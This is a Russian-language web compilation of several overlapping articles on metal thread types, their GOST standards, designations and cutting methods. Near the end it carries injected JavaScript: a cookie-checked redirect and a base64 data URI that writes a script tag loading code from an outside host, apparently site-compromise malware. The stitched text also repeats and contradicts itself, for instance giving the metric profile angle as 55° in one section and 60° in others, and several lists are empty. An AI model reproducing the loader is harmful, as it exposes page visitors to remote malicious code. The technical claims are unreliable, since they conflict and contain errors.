Что такое резьба по металлу
Виды резьб
В промышленности используют два основных типа стыков – разъемные и неразъемные. Первые виды получают при помощи крепежа, клепок и пр. одним и наиболее часто встречающихся соединений, можно без сомнения считать первые. Вторые типы выполняют при помощи сварки, пайки, склеивания. На практике все эти способы сочленения деталей стандартизированы.
Виды резьбы
Как уже отмечалось, все виды стыков этого класса стандартизированы. Например, ГОСТ 24705-2004 определяет размеры метрического профиля, в частности, угол в основании, шаг и пр. Всего к метрическому виду относят порядка 15 отечественных и иностранных стандартов.
Существует так же и классификация стыков этого типа. Ее выполняют на основании ее геометрических размеров, расположению на изделии и количеству заходов, или исходя ее практического использования.
Ниже приведен перечень, в котором указаны типы конструкций разъемных соединений и их обозначения:
Трубная дюймовая резьба
Все эти конструктивные элементы используются во всех отраслях промышленности, начиная от авиационной и закачивая пищевой.
Метрическая резьба
Метрическая выполняется на основании ГОСТ 8724-2002 – чаще всего применяется при изготовлении крепежных изделий. При соблюдении определенных условий этот вид допустимо использовать в качестве ходовой.
В основе этого вида лежит равносторонний треугольник (с углом в основании 60 градусов). Она может иметь один или несколько заходов. Многозаходную применяют в тех случаях, когда необходимо обеспечить повышенную прочность сочленения узлов.
Отечественные и зарубежные производители выпускают изделия имеющие диаметр от 0,25 до 600 мм и шаг от 0,25 до 6 мм. Изделия с малым шагом применяют тогда, когда необходимо обеспечить разъемную сборку изделий с тонкой стенкой. Кстати, в автомобильной промышленности этот вид применяют достаточно часто. Она может иметь левое и правое исполнение.
Ее обозначают следующим образом – на первом месте указывают букву, в этом случае — это М. Затем, показывается ее номинальный размер и шаг, в отношении этого вида применяют обозначение только в мм. Кроме этого в обозначение параметров входит количество заходов, исполнение (левое или правое). Разумеется, должен быть указан допуск на изготовление. Маркировка М12*1 говорит о том, что она имеет номинальный диаметр 12 мм и шаг 1.
Дюймовая резьба
Этот класса применяется по большей части при создании разъемных стыков трубопроводной арматуры (труб, кранов, клапанов и пр.). Ее наносят на изделия выполненные из металла, пластика. Ключевые параметры определены в ГОСТ 6111-52. В нем приведены таблицы, в которых определены размеры, шаги и допуски. Все размеры и условное обозначение приводят в дюймах.
В основании этого вида лежит треугольник с углом при вершине в 55 градусов. Как и у метрической вершины и впадины удалены.
Производители выпускают детали с трубным профилем от 3/16 (4,8 мм) до 4 (101 мм) дюймов.
Метрическая коническая резьба
Отличие конического изделия от обыкновенного метрического заключается в том, то ее наносят на конусную внутреннюю или внешнюю поверхность. При этом угол конуса составляет 1:16.
Ее применяют в тех случаях, когда необходимо обеспечить герметичность соединения. Например, в трубопроводных системах, предназначенных для транспортировки жидкостей.
Производителю выпускающие изделия с таким видом, руководствуются требованиями ГОСТ 25229-85.
Метрическая коническая резьба
Для обозначения метрического конического профиля применяют буквенное сокращение МК. Далее указывают все необходимые геометрические параметры. Например, МК 24*1,5 показывает то, что она имеет наружный диаметр в 24 мм и шаг 1,5.
Круглая резьба
Круглый профиль используется для создания соединений трубопроводной арматуры, в том числе и кранов. Параметры этого вида определены в ГОСТ 13536-68. Для обозначения в документах и на чертежах применяют буквенное обозначение Кр, далее следуют ее геометрические размеры.
Он образуется окружностями на его вершинах и впадинах. Угол при вершине составляет 30 градусов.
Трапецеидальная резьба
Трапецеидальный профиль относят к ходовым. Отличительное свойство этого вида профиля заключается в том, что она самотормозящая. Это вызвано тем, что при перемещении гайки по стержню развивается большая сила трения. Такое свойство позволяет избежать дополнительного фиксирования гайки на валу.
Трапецеидальный профиль используется для того, что бы преобразовать вращательное движение в трапецеидальное. Как пример, можно привести ходовой вал, устанавливаемый в токарных или шлифовальных станках. Кроме этого оборудования, он нашел свое применение в кузнечно-прессовом оборудовании, автомобильной и тракторной технике. Вообще узлы с трапецеидальным профилем используют для перемещения кареток на сборочных конвейерах, в литьевых машинах, робототехнике и пр.
На практике применяют изделия с размерами от 8 до 640 мм. Шаг составляет от 1,5 до 12 мм.
При внесении параметров на чертежах или документах применяют буквы Тр, затем указывают геометрические параметры.
Требования к параметрам изложены в ГОСТ 24738-81.
Упорная резьба
Требования к упорному профилю определены в ГОСТ 10177–82. Ее применяют тогда, когда в соединении имеются большие осевые нагрузки. В основе профиля лежит трапеция, одна (рабочая), сторона расположена под углом 3 градуса. Противоположная, имеет угол наклона 30 градусов.
Для обозначения применяют латинскую букву S, затем указывают геометрические параметры – диаметр, шаг.
Трубная цилиндрическая, трубная коническая и коническая дюймовая
Трубная цилиндрическая резьба нашла свое применение при сооружении трубопроводов. Производители выпускают изделия, на которых наносят резьбу от 1/16 до 6 дюймов. При этом, на один дюйм может быть нанесено до 28 до 11 ниток резьбы.
Трубная коническая резьба
Она этого вида применяется как крепежно-уплотняющая. Требования к ней определены в ГОСТ 6211-81. В этом документе говорится о том, что профиль должен соответствовать дюймовому профилю. Ее изготавливают на конусе с углом 1:16.
В основании лежит угол в 55⁰.
Она обеспечивает герметичность соединения без применения, каких либо дополнительных приспособлений (шайб, герметиков и пр.). Использование этого вида соединения резко снижает время на сборку/разборку соединения. Ее можно встретить в системах подачи масла, топлива, пара и пр.
Дюймовая коническая резьба
Ее чаще все применяют для соединения элементов, входящих в топливные, масляные и другие трубопроводы. Еще не так давно, она была стандартизирована на основании дюймовой системы мер.
Плашка дюймовая коническая
В основании лежит треугольник с углом в 60 ⁰. Но, в последние годы, на практике стали чаще использовать конический профиль изготовленный на основании метрической системы мер.
Достоинства и недостатки резьбовых соединений
Соединения, получаемые с ее помощью, пожалуй, самые распространенные среди разъемных. В отличие от прочих видов разъемных соединений они обладают следующими достоинствами:
В тоже время, использование разъемного соединения сопряжено с некоторыми недостатками, в частности, наличие впадин, в конструкции резьбы, приводит появлению зон повышенного напряжения.
Это соответственно снижает прочностные параметры соединения. Довольно, часто, в узлах, где использована резьба, приходится применять дополнительные устройства для предотвращения самораскручивания. Разумеется, средства стопорения применяют исходя из назначения узла, например, колесо автомобиля.
Область применения резьбовых соединений
Резьбу применяют для соединения узлов и сборочных единиц в единую конструкцию. При этом роль гайки может исполнять корпус.
В качестве примеров использования резьбы можно рассмотреть следующие:
Особенности отдельных видов резьбы по металлу
В машиностроении применяют два типа соединений — разъемные и неразъемные. Первый тип получается благодаря клепкам и болтовым креплениям, такой способ наиболее распространен. Второй тип получается при помощи сварного шва, пайки припоем, а также склеивания деталей. Если детали скрепляются первым способом, используют специальные резьбы по металлу, которые бывают разных видов.
Резьба на металле
Основные параметры и свойства
Профиль резьбы различного материала представляет собой сечение плоскости, проходящей вдоль оси заготовки. К основным характеристикам относят:
Назначение
Резьбовые профили бывают наружными и внутренними. Они применяются для следующих целей:
Виды резьбы
Цилиндрическая резьба по металлу классифицируется по размерам, положению на поверхности, числу заходов и области использования. В производстве выделяют несколько видов резьбы:
Данные виды используются в промышленности для соединения деталей различных видов.
Метрическая
Такой вид резьбового профиля применяется для крепежных соединений. В результате соблюдения технических условий ее можно использовать как ходовую. В разрезе резьба имеет вид треугольника с равными боковыми сторонами, угол вершины которого равен 55°. Изготавливается с одним или несколькими заходами для увеличения прочности соединения деталей.
В промышленности выделяют резьбы с размерами от 0,25 мм до 600 мм, при шаге 0,25 мм до 6мм, правого и левого исполнения. Мелкий шаг применяется для тонкостенных поверхностей. В маркировке изделия присутствует буквенное обозначение М, размер, шаг, а также добавляют число заходов и вид исполнения.
Метрическая резьба
Дюймовая
Применяется такой тип резьбы для соединения труб и запорной арматуры. Наносится на металлические поверхности и пластик. Размеры указываются в дюймах, в разрезе имеет вид треугольника с равными сторонами с углом вершины 55°. Впадины и вершины удаляются для предотвращения притирания металла. Размерный ряд начинается от 3/16 до 4 дюймов.
Метрическая коническая
Данный резьбовой профиль наносят на заготовку конического вида по внутренней или внешней поверхности. По техническим условиям угол конусности составляет значение 1:16. Применяется в трубных креплениях для создания повышенной герметичности. На чертежах метрическая коническая резьба маркируется МК, затем указывается значения размера и шага.
Круглая
Круглая резьба используется в трубных крепежах, при соединении кранов, стыков и ответвлений. В документации маркируется Кр, после указаны номинальные размерные значения. В основании и на вершинах производятся округлый профиль с углом 30°.
Трапецеидальная
Резьбу такого вида считают ходовым. Отличается от аналогов свойством самостоятельного торможения. Данная характеристика достигается при вращательном движении гайки по валу, в результате которого появляется повышенное трение. Не требует использования дополнительных элементов для закрепления деталей.
Применяется трапецеидальная резьба для преобразования вращения в поступательное трапецеидальное. Используется в автомобильной технике, промышленном оборудовании, станках, робототехнике. Движение детали на валу проходит плавно без рывков. Номинальные размеры от 8 мм до 640 мм, при шаге от 1,5 мм до 12 мм. На схемах маркируется Тр, а после указываются основные параметры.
Упорная
Используется такой тип резьбового профиля для оборудования, на валах которого наблюдается повышенная осевая нагрузка. В разрезе представляет собой трапецию с расположением рабочей стороны под углом 3°, а другой под углом 30°. Обозначается латинской буквой S.
Упорная резьба
Достоинства и недостатки резьбовых соединений
К эксплуатационным преимуществам резьбового соединения относят:
Минусом резьбового соединения считают неравномерную нагрузку по линии профиля резьбы. Такое явление может привести к преждевременному разрушению первого витка, в результате повышенных эксплуатационных усилий. Также недостатком является эффект самостоятельного отвинчивания под действием вибраций.
Нарезание резьбы
Производится при помощи нескольких способов:
Самостоятельно в условиях гаража можно изготовить внешний профиль крепежа, при этом следует выполнить следующие манипуляции:
Для внутренней нарезки применяют метчики и выполняют следующие манипуляции:
Для предотвращения поломок инструмента рекомендуется следующее:
Для получения качественного крепления необходимо соблюдать рекомендации и правила по нарезанию резьбы. Подбор качественного инструмента облегчит задачу и ускорит процесс.
Виды резьб по металлу: обозначение, госты, назначение
Чаще всего резьбовое соединение изготавливается в метрической системе. Размеры резьбы могут быть абсолютно разными. Витки наносятся на наружные или внутренние поверхности какого-либо элемента цилиндрической формы. Именно такой вид имеют наиболее распространённые крепёжные детали:
Любая из этих деталей имеет сбег резьбы. На многих технических специальностях обучение черчению начинается с изображения разреза и профиля болта. Такие эскизы присутствуют и в документации по технической эксплуатации приборов.
Изделия с конической формой с метрическим типом резьбы нужны в тех случаях, когда соединению требуется высокая герметичность. Профиль под углом позволяет не использовать дополнительные уплотнители.
Такой вид с успехом себя зарекомендовал во время монтажа трубопроводов, по которым движутся жидкости и газы. Трубная резьба при невысоком давлении среды отлично справляется с задачей без прокладок.
Также конический тип применяется при создании крышек для различных ёмкостей для герметизации отверстия.
Существует и менее распространённый тип резьбы. Он называется ленточным (прямоугольным). Такой вид применяется в основном в машиностроении.
Метрический тип соединений имеет ряд таких параметров:
Чтобы понять, что такое шаг резьбы, достаточно взглянуть на обычный болт (неважно, шестигранная головка или стандартная). Это расстояние между отдельными витками. Есть и другие параметры, благодаря которым метрические соединения подразделяются на виды, имеющие свои условные обозначения из букв и цифр.
Резьбовые соединения получили огромную популярность из-за большого количества преимуществ, среди которых:
Из недостатков можно выделить неравномерность распределения номинальной нагрузки по всей ширине и длине витков. Если часто разбирать и собирать конструкцию, то это ускоряет износ элементов. Чтобы продлить срок службы, желательно каждый раз снимать фаску на глубину повреждения, но это применимо не во всех случаях. Также детали с разным шагом не подойдут друг к другу.
Геометрические параметры
У резьбовых деталей есть большое количество различных геометрических параметров, которые полностью характеризуют изделие. В упрощённом виде они выглядят следующим образом:
Все виды резьбовых креплений стандартизованы. ГОСТы определяют шаг, угол, размеры и так далее. Всего этих стандартов насчитывается 15.
Также есть классификация резьбовых стыков. Она основана на геометрических параметрах, расположении значимых элементов на изделии и сфере применения.
Типы конструкций и их обозначения:
Каждый из этих элементов используется в различных областях промышленности. Все типы соединений необходимы в современном мире.
Метрическая и дюймовая
Основой для метрического типа служит равносторонний треугольник, угол которого у основания составляет 60 градусов. Изготовленная резьба может иметь от одного до нескольких заходов. Второй вариант используется тогда, когда нужно увеличить прочность сочленения.
Сейчас производят изделия с сечением до 600 мм и шагом витков до 6 мм. Небольшие используются в тех случаях, когда нужно сделать разъёмное крепление на тонких стенках устройства. Этот вид очень распространён в автомобилестроении.
Резьба может быть левой или правой. Сначала указывается буква М, которая обозначает, что изделие выполнено в соответствии с метрической системой. После этого указывается размер и шаг в миллиметрах.
Коническая, круглая и трапецеидальная резьба
Особенность трапецеидальных резьб заключается в том, что они являются самонарезающими. Во время перемещения гайки создаётся очень высокая сила трения. Благодаря этому не требуется дополнительная фиксация. Изделия такого типа производятся в размерах 8−640 мм. Шаг нанесения витков варьируется от 1,5 до 12 мм. Все требования к готовым деталям прописаны в ГОСТе 24738−81.
Инструменты для нарезания
Для нарезания внутренней резьбы используется метчик. Это специальный винт, который имеет твёрдые режущие кромки. Состоит этот инструмент из рабочей части и хвостовика, предназначенного для фиксации в воротке. Устройство бывает ручным и машинным.
Комплектация слесарного набора:
Маркируется изделие точно так же, как и болты. То есть имеет буквенное и циферное обозначение. Но также он имеет и риски, показывающие его тип (черновой, средний, чистовой).
Перед началом нарезания нужно обязательно сначала сделать отверстие, которое будет иметь немного меньший диаметр. Во время работы инструмент необходимо держать перпендикулярно и добавлять смазку в зону нарезания. Через каждые несколько витков метчик следует выкручивать, чтобы убрать накопившуюся металлическую стружку. Это очень удобно делать при помощи небольшого специального ёршика.
В промышленных масштабах наружная резьба делается на станке. Для домашних потребностей применяются плашки, которые бывают:
Сама плашка внешне очень похожа на обычную гайку, внутри которой находятся режущие кромки. Инструмент может быть предназначен для нарезания метрической или дюймовой резьбы.
Виды резьбы по металлу. Примеры и программы для расчета
Приветствую вас на моем блоге! Рассмотрим виды резьбы по металлу. В данном посте я хочу подробно рассмотреть что такое резьба виды, назначение и применение резьб различных конструкций и на разных поверхностях. Думаю будет интересно как матерым инженерам так и ученикам ВУЗов и СУЗов.
Резьба. История ее появления
Резьба — что это и откуда она появилась. Об применении первых резьбовых деталях стало известно еще 4-5 веках до нашей эры. Поговаривают о наличии винтовых саморезов при строительстве храма Соломона 950—586 до н. э. Там винты могли применить при закреплении деревянных конструкций.
Стоит отметить низкое качество таких изделий. Винт изготавливался путем наматывания на него промасленной нитки, а гайка-втулка имела несколько (две) шпонки. Короче конструкция сомнительная. Виды резьбы по металлу в те далекие времена были ограничены несколькими типами.
Время шло и в начале 15 века началось обширное изготовление 3-х и 4-х первых метчиков для нарезки резьбы. Про них кстати можете почитать в моей статье Метчик что это такое. конструкция виды и как им пользоваться. Там я рассмотрел основные конструкции метчика и его основные виды.
В 18 веке научились хорошо изготавливать и наружную резьбу, так как изобрели токарный станок, но об этом в следующих постах а сейчас по делу.
Виды резьбы по металлу. Назначение и применение
В данном разделе мы рассмотрим основные виды резьбы по металлу. Постараюсь максимально подробно и доступно вам донести эту информацию. Оставайтесь со мной будет интересно.
Читайте еще: Токарная обработка. Основные виды.
1. Метрическая резьба
Самый пожалуй распространенный вид резьбы в постсоветском пространстве и в европейском союзе. Все наши изделия как и европейские соединяются резьбовыми изделиями с метрическим исполнением.
Как ее часто называют на заводе «нормальная» резьба. Как видите угол между гранями витка тут равен 60 градусов. Шаг соответственно может менять свое значение при необходимости.
Но не забывайте, что в основном используют стандартные значения в зависимости от наружного диаметра.
2. Дюймовая резьба. Коническое исполнение
Дюймовое исполнение как мы видим на рисунке выше имеет угол между гранями резьбы 55 градусов. Это далеко не все различия. Например стандартная резьба метрическая будет иметь обозначение М12х1.5. Значит наружный диаметр равен 12, а шаг резьбы 1,5 мм. В дюймовой это будет 12,5 и шаг 1/4 дюйма. Такие резьбы используют в основном жители США.
Если резьбовое соединение коническое, то резьба нарезается под углом φ. Такие резьбы используют для изготовления штуцеров в сантехнике и других подобных сферах требующих надежной герметизации.
3. Трубная резьба. Дюймовая. Коническая
Для соединения различных труб используют такие виды резьбы по металлу. Резьбовое соединение может соединить трубы диаметром до 6 дюймов. Если вы решили соединить трубы наружный диаметр которых превышает 6 дюймов, то сварка вам в помощь. Большей просто не существует. Ну во всяком случае я не встречал.
Читайте еще: Почему не обрабатывается деталь на станке.
Еще можно встретить такой вид соединений в коническом исполнении. Витки нарезаны под углом φ. Вот как она выглядит
4. Резьба упорная
Упорной ее называют по тому, что как вы видите все витки наклонены в одном направлении. Похожа такая резьба больше на винт мясорубки.
Применяется в системах которые испытывают очень большие нагрузки направленные в одном направлении. Это могут быть винты прессов или например крепление крюка крана.
Если такая резьба выполнена с уклоном 55 и 45 градусов, то она является особо усиленной. Если 30 градусов, то это обычный представитель своего вида.
5. Резьба трапецеидальная
Очень популярный вид резьбы по металлу. Используют очень широко в машиностроении и станкостроении. Изготавливают винты станков, на которых перемещаются суппорты и другие передвижные конструкции станка. Можно применять такую конструкцию резьбового вала в домкратах и силовых узлах.
6. Круглая резьба
Применяется в основном при проектировании и изготовлении санитарно-технических изделий таких как вентили и краны в ванной. Такое исполнение обеспечивает необходимую герметичность и плавность хода. Применение такого вида резьбы по металлу используется не только в сантехнике, а например еще для переключения вентилей в оборудовании с применением жидкостей (СОЖ) под давлением.
Еще больше информации про резьбы можете найти вот на этом сайте.
Виды резьбы по металлу. Заключительная часть
Читайте еще: Наладка и настройка универсального фрезерного станка
Сегодня мы с вами разобрались, что такое резьба и какие основные виды резьбы по металлу существуют на сегодняшний день. Как обычно для моих читателей я сделал подборку из двух программ для расчета размеров резьбы. И так две программы:
Программа для расчета размеров резьбы валов и отверстий.
Выбираете параметры резьбы, внутренняя или наружная, точность нажимаете на кнопочку «Показать результаты» и опа! В зеленой рамочке видим интересующие нас размеры.
Программа для расчета резьбы крюка. Выполнена в файле xsl.
Вводим значения в красной рамке и автоматически настроенные формулы завершают наши расчеты. Остается только перенести полученные данные на чертеж.
И как вводится можете их скачать совершенно бесплатно лишь поделившись этой статьей со своими друзьями.
Программы для расчета размеров резьбы валов, отверстий и др.
А я на этом заканчиваю. Пойду детей спать укладывать. А вам всего хорошего.
Метрическая резьба
Винтовая нарезка внутренних или наружных поверхностей деталей называется метрической резьбой. Основное формирование происходит выступами и впадинами формой равнобедренного треугольника. Измерение происходит в миллиметрах, именно поэтому крепежное соединение обозначается, как метрическое.
Использование при креплениях различного типа может происходить коническими, цилиндрическими разновидностями нарезки соединений. Направление существует левостороннее или правостороннее, в зависимости от типа крепления и стороны подъема для витков при соединении.
Существует множество разновидностей и параметров нарезки, дюймовая, питчевая, а также модульная, используемая для червячных передач. Точность исполнения нарезки крепежа влияет на надежность и долговечность крепления.
Метрическая резьба
Основные параметры и сферы применения
Распространенное использование метрической резьбы, наносимой на внешние либо внутренние элементы, применяется изготовленным в цилиндрической форме поверхностям. Разнообразные типы крепежных элементов и соединений используются повседневно, например:
Когда коническая поверхность, деталь используются в тех случаях, когда необходима высокая герметизация соединения, на них также наносится метрическая резьба.
Конструкция формирует отличное соединение между крепежными элементами, позволяет избежать использования уплотнительных материалов, приводящих к излишним растратам.
Основные среды использования метрической нарезки при трубопроводном строительстве, где между элементами протекают материалы различным типов, а также при изготовлении газобаллонного оборудования. Профиль и конструкция метрической нарезки одинакова при обоих случаях, используется вне зависимости от типа поверхности.
Гайка с метрической резьбой
Существует различная маркировка, обозначенная при использовании метрической нарезки соединяющих изделий. М — обозначает номинальный диаметр (d), к примеру резьба М12 номинального диаметра 12 мм крупного шага. Резьба М2 имеет номинальный шаг 0.4 мм, считается мелкой категорией также, как и резьба типа М7 с шагом 1 мм.
Для обозначения определенного шага соединяющих изделий используется дополнительные цифры, например М24х1.25 будет означать, что резьба диаметром М24 применяется с шагом 1.25 мм. На инструментах старого типа возможно встретить упрощенную маркировку.
К примеру, 1М16 означает, что используется мелкая первая, с диметром резьбы М16.
Геометрические параметры
Параметрами определяется назначение геометрической метрической нарезки для соединения материалов. Основные обозначения:
Таблица размеров метрической резьбы
Такие параметры, как средний диаметр резьбы должен представляться с использованием сопутствующей документации. Для стандартизированного отображения используются ГОСТы. Стандартами оговорено отображение основных размеров соединяющих изделий и параметров, ГОСТ 24705-2004 применяется ко всем видом нарезных соединений.
Метрические нарезки соединения используются при изготовлении предметов, путем нанесения параметров на чертежи. Размеры резьб описаны в таблице, с номинальным диаметром при диапазоне от 1 до 600 миллиметров. Шаг определяется в таблице от 0,25 до 6 мм, условное обозначение при отображении через «х», например М8×1,5.
Правила обозначения
Обозначается поле допуска применяется с помощью цифры, она отображает точность и класс, буквы обозначающие допуски, основные доступные отклонения.
Поля допуска требуют обозначения по порядку, например диаметр средний d2 отображается вначале, затем отображается информация о поле допуска внешнего типа d.
Параметры сочетаются как с внешним, так и со средним диаметром, повторное проставление не требуется.
Правила обозначения метрической резьбы гласят, что наилучшим вариантом для обозначения является установить вначале внутренний диаметр резьбы, последующая информация представляет собой наличие полей допуска и их параметры. Нарезка и ее шаг не применяется при указании в маркировке, информация предоставляется в таблицах специализированного типа. Длина свинчивания представляется буквами, указанными на схемах:
Важно знать, что обозначающие длину буквы, необходимо отделять при указании на чертежах или других документах чертой. Посадка нарезного соединения указывается в первичном порядке, дробным образом. Числитель указывает на обозначение поля допуска внутренней нарезки, знаменатель обозначает поле допуска наружного типа и диаметра резьбы.
Изображение и обозначение резьбы
Примеры обозначения метрической детали М16, представленные по ГОСТу 8724:
Для некоторых случаев, не описанных в параметрах, размерах метрической резьбы, при маркировке применяются доп. обозначения, допуски и посадка, длина свинчивания и т.д. Например, посадку обозначают через числитель деленный на знаменатель. Длина свинчивания обозначается как вышеописанная в правилах, существуют нестандартные параметры, они описываются в миллиметрах.
Поля допусков
Существует несколько разновидностей полей допусков, разделяются они на три категории:
Допуски по размерам внутренней метрической резьбы
Выбор полей допуска по спецификации происходит согласно информации, представленной специальными таблицами, для верного решения следует пользоваться несколькими правилами:
При некоторых случаях применяются поля допусков, отсутствующие в таблицах. Предельные отклонения, допуски на метрическую резьбу, которая применяется для использования под покрытие, учитываются при соответствии с размером нарезного соединения, до процесса обработки.
Области применения и характеристики
Метрическая резьба используется в качестве основного крепления для материалов, точных винтовых пар, приборов измерения.
Угол по вершине составляет 60 градусов, профиль представляет равносторонний треугольник, форма выпуска винтовых пар должна быть соответствующей друг к другу.
Степень притупления вершины у стержня более плоско срезанная для избегания излишних процессов трения. Предпочтительным вариантом формы впадин является закругленный вид.
Метрическая Резьба M8
Основные характеристики метрической детали составляют шаг, номинальная окружность изделия или условный размер. Номинальный диаметр равен между болтом и гайкой, шаг обозначает расстояние между верхними профилями близлежащий точек, прокладываемых в одной плоскости.
Для измерения возможно использовать обычный лист бумаги, прокатав на котором изделие, возможно замерить расстояние между ветвями.
Для более точного обозначения используется специальный прибор, однако простого измерения достаточно для подбора более подходящего значения по стандартизированной таблице.
Особенности нарезки
Крепление различных соединений, материалов происходит с помощью болтов и гаек.
Наиболее распространенным, повсеместным вариантом является использование нарезных крепежных деталей, однако необходимо учитывать особенности и все особенности, особенно на шаг нарезки.
Шаг метрической детали измеряется с точностью, используется для надежного крепления, фиксации, для более сильного результата используют герметик. Существуют некоторые особенности, различные способы получения надежного крепления материалов.
Наиболее распространенными способами нарезания метрической резьбы являются ручные способы с использованием метчиков и плашек. При более масштабных производствах используется накатывание станками с последующей калибровкой.
Действующие стандарты
Для использования единого документа при изготовлении нарезного соединяющего элемента метрического типа используются утвержденные ГОСТы. ГОСТ-8724 указывает на требования к окружности нарезки и ее шагу.
Действующая редакция, вступившая в силу с 2004 года, используется как аналог международного стандарта ISO 261-98, который распространяется на значения от 1 до 300 мм. Местная редакция нормативного документа подразумевает контроль большего спектра диаметров изделий.
Для удобства использования вся информация заключена в таблицы, описан каждый тип, шаг нарезки деталей.
ГОСТ- 9150 разработан и используется для поддержки требований к профилю нарезки изделий. Геометрические требования основного профиля описаны в стандартном документе для всех типов изделий. ГОСТ 16093 оговаривает требования допусков к крепежным соединениям, элементам.
Последнее изменение в редакции произошло в 2005 году, включает поправки, положения согласно международных стандартов ISO 965-1, 3. Стандартные резьбы метрического типа, используются при обозначении на любом типе чертежей. Применяемые для изготовки инструменты должны соответствовать стандартам ГОСТов и ISO.
$?*|<>()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0>var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time)
Виды резьбы: какой она бывает, особенности цилиндрического соединения и область применения
ГОСТ 2.331−68 даёт точное определение. Это поверхность, на которой выступы и впадины имеют определённый профиль. Спираль наносится на наружную поверхность вращающихся деталей. Основным назначением резьбовой поверхности считается:
Инженеры, разрабатывающие машиностроительное оборудование, хорошо знают, какие резьбы бывают, вид спирали, который нужно использовать для создания мощного соединения. Многочисленные типы спирали дают возможность создавать очень прочные конструкции, состоящие из различных деталей. Сегодня известны следующие типы резьб:
Резьбовое соединение делится на несколько категорий:
Класс резьбы определяется по её шагу. Он может быть стандартным или мелким. Самым популярным считается мелкий шаг. Он используется на всех деталях, диаметр которых превышает 20 мм.
Благодаря минимальному зазору между канавками винтовой линии получается соединение, которое не имеет возможности самоотвинчиваться.
Положительные и отрицательные свойства
Резьбовые соединения получили большое распространение благодаря большому количеству эксплуатационных свойств. Важнейшими считаются:
При всех положительных качествах спираль имеет ряд характерных недостатков. Нагрузка распределяется неравномерно. Первый виток испытывает 50% общего давления.
В случае частого разбора поверхность спирали быстро изнашивается. Вибрационные нагрузки могут стать причиной самоотвинчивания.
Классификация резьбовых соединений
Профиль может иметь несколько видов. Он разбивает резьбу на определённые группы, которые применяются для создания различных соединений:
Самой распространённой считается метрическая нарезка, выполненная согласно ГОСТ № 9150−81. Профиль похож на равносторонний треугольник. Угол наклона — 60 градусов. Шаг витка делается в диапазоне: 0.25 — 6 мм. Диаметр крепёжных деталей: 1 — 600 мм.
Коническая резьба отличается наличием конусности 1:16. Такая конструкция позволяет создать герметичные стыки без применения стопорных гаек.
Резьба дюймовая коническая сделана с конусом 1:16. Угол профиля равен 60 градусам. Это изделие создаёт высокую герметичность, причём без установки специальных уплотнений. Применяется для гидравлических систем, а также трубопроводов небольшого диаметра.
Цилиндрическая трубная резьба ГОСТ 6357–81 используется как одновременный крепёж и уплотнение. Форма профиля сделана в виде равнобедренного треугольника, имеющего угол наклона 55 градусов.
Чтобы достичь высокой герметичности, профиль имеет верхние грани закруглённого типа. Чтобы не повредить стенки конструкции, такая резьба отличается сокращённым шагом.
Её используют в системах отопления, создании водопроводных коммуникаций.
Трапецеидальная резьба изготавливается по ГОСТ 9481 −81. Она применяется в крепёжных соединениях вида винт-гайка. Внешний вид профиля напоминает равностороннюю трапецию с углом наклона 30 градусов. В червячных передачах значение угла увеличивается до 40 градусов. Применяется для крепежа деталей диаметром 10−640 мм.
Упорная резьба стандартизируется ГОСТом 24737−81. Её используют в крепеже, который во время эксплуатации подвергается мощным осевым нагрузкам, направленным в определённую сторону. Профиль имеет форму разносторонней трапеции. Одна грань наклонена под углом 3 градуса, противоположная — 30 градусов. Такой резьбой соединяют детали диаметром 10—600 мм. Шаг профиля находится в диапазоне 2—25 мм.
Круглая резьба ГОСТ 6042–83 формируется соединением дуг. Угол наклона между ними составляет 30 градусов. Основным преимуществом этой конфигурации считается высокая устойчивость к повышенному износу. Поэтому её широко используют в создании трубопроводной системы.
Резьба
Резьба – винтовая поверхность определенного профиля, предназначенная для соединения (свинчивания или стягивания) деталей. Формирование резьбового профиля может проходить как на цилиндрической, так и на конической поверхности.
Резьба — винтовая поверхность определенного профиля, предназначенная для соединения (свинчивания или стягивания) деталей.
Формирование резьбового профиля может проходить как на цилиндрической, так и на конической поверхности.
Широко распространенный метод образования наружной и внутренней резьбовой поверхности – нарезание плашками и метчиками соответственно, а также накатыванием, токарной обработкой резцом и резьбонарезными головками.
Именно профиль резьбовой поверхности определяет ее тип.
Типы резьбы, стандартизация
Метрическая резьба – тип резьбовой поверхности, наиболее часто используемой при изготовлении метизов. Ее геометрические параметры: профиль представляет собой треугольник с равными боковыми сторонами, расположенными под углом 60°. Резьбовые изделия применяются в обширном перечне областей машиностроения, в станкостроении, приборостроении, строительстве и прочих отраслях.
В обозначении при составлении технической документации указывается номинальный диаметр резьбовой поверхности, шаг, если он не является основным, точность изготовления. При проектировании соединений с левой резьбой она обозначается с помощью литер LH. Например: M36х1,5LH.
Коническая резьба используется для образования герметично-уплотненных соединений. Она нарезается на конической поверхности детали с конусностью (уклоном) 1:16.
Наружная коническая резьбовая поверхность может свинчиваться как с внутренней конической, так и с цилиндрической метрической резьбой соответствующего шага.
В последнем случае обеспечивается ее ввинчивание с коэффициентом 0,8 от максимальной глубины сопряжения. Резьбовой угол профиля — 60°.
Для соединения труб или цилиндрических деталей с тонкими стенками используют трубную резьбу (цилиндрическую). Профиль ее имеет угол наклона боковых стенок зуба относительно друг друга – 55°.
Для обеспечения герметичных соединений используют трубную коническую резьбу с углом профиля при вершине боковых стенок – 55°. Используется она в топливной, масляной и воздухопроводной аппаратуре, а также при подсоединении трубопроводов станков и машин. Нередко применяется сопряжение внутренней цилиндрической с наружной конической резьбой.
Трапецеидальная резьба с профилем, имеющим форму трапеции с углом между ее боковыми сторонами 30°, применяется в нагруженных узлах, работающих по схеме вращательно-поступательного движения. Как правило, это – винты прессов, станков.
Если значительные осевые нагрузки действуют в одном направлении, используют упорную резьбу. Ее трапецеидальному профилю характерен неравномерный наклон боковых сторон: 30° и 3°.
Дюймовая резьба сдает свои позиции: российских стандартов по ее регламентированию в настоящее время нет. Она стандартизирована и применяется на территории Канады, США (UTS и др.), Великобритании (BSW, BSF).
